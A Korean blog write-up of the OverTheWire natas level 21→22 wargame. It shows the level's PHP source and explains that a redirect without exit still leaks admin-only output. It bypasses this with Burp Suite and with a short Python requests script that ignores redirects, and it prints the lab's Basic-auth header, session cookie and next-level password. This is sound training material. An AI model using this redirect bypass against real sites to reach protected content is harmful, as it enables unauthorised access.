: level 21 → level 22
http://natas22.natas.labs.overthewire.org
natas22 화면이다. View sourcecode 링크 외에는 아무것도 없다. 소스코드를 확인해보자.
<?
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">
<?
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
{"mode":"full","isActive":false}
이번 코드에는 2가지의 if문이 존재한다. 두 if문은 모두 $_GET['revelio']의 존재유무를 확인하고 있다.
차이점은 첫 번째 if문에서는 $_SESSION['admin']을 검증하고 있다는 거다.
$_SESSION['admin']=1이 아니라면 새로운 페이지로 redirection한다.
두 번째 if문만 보면 revelio를 get방식으로 전달만하면 natas23의 password를 얻을 수 있다.
하지만 첫 번째 if문 때문에 natas23의 password가 출력된 페이지를 보기도 전에 새로운 페이지로 넘어가기 때문에 password를 확인할 수 없다.
natas23의 password를 확인하려면 redirection을 막아야 한다.
필자는 2가지의 방법으로 해결했는데 2가지 모두 포스팅하겠다.
첫 번째 방법은 client에서 redirection하기 전에 burp suite로 response를 가로채는 방법이다.
burp suite를 사용하면 새로운 페이지로 넘어가기 전 natas23의 password가 출력된 response를 가로챌 수 있다.
burp suite를 실행하고 revelio를 get방식으로 전달하면 아래와 같이 response를 확인할 수 있다.
두 번째 방법은 python으로 redirection을 무시하는 방법이다.
python으로 request를 전달할 때 allow_redirects 기능을 False로 하면 redirection을 무시할 수 있다.
import requests
url = "http://natas22.natas.labs.overthewire.org?revelio=1"
cookies = {'PHPSESSID' : 'igq77s60m9j8s6nqgp29ct22e5'}
headers = {'Authorization' : 'Basic bmF0YXMyMjpjaEc5ZmJlMVRxMmVXVk1nallZRDFNc2ZJdk40NjFrSg=='}
result = requests.get(url, headers = headers, cookies=cookies, allow_redirects=False)
print(result.text)
실행결과는 아래와 같다.
natas23 password : D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
'Study > Web Hacking' 카테고리의 다른 글
[natas] Level 22 -> Level 23 (0) | 2021.07.26 |
---|---|
[LOS] bugbear (0) | 2021.07.20 |
[LOS] darkknight (0) | 2021.07.17 |
[natas] Level 20 -> Level 21 (0) | 2021.07.17 |
[LOS] golem (0) | 2021.07.11 |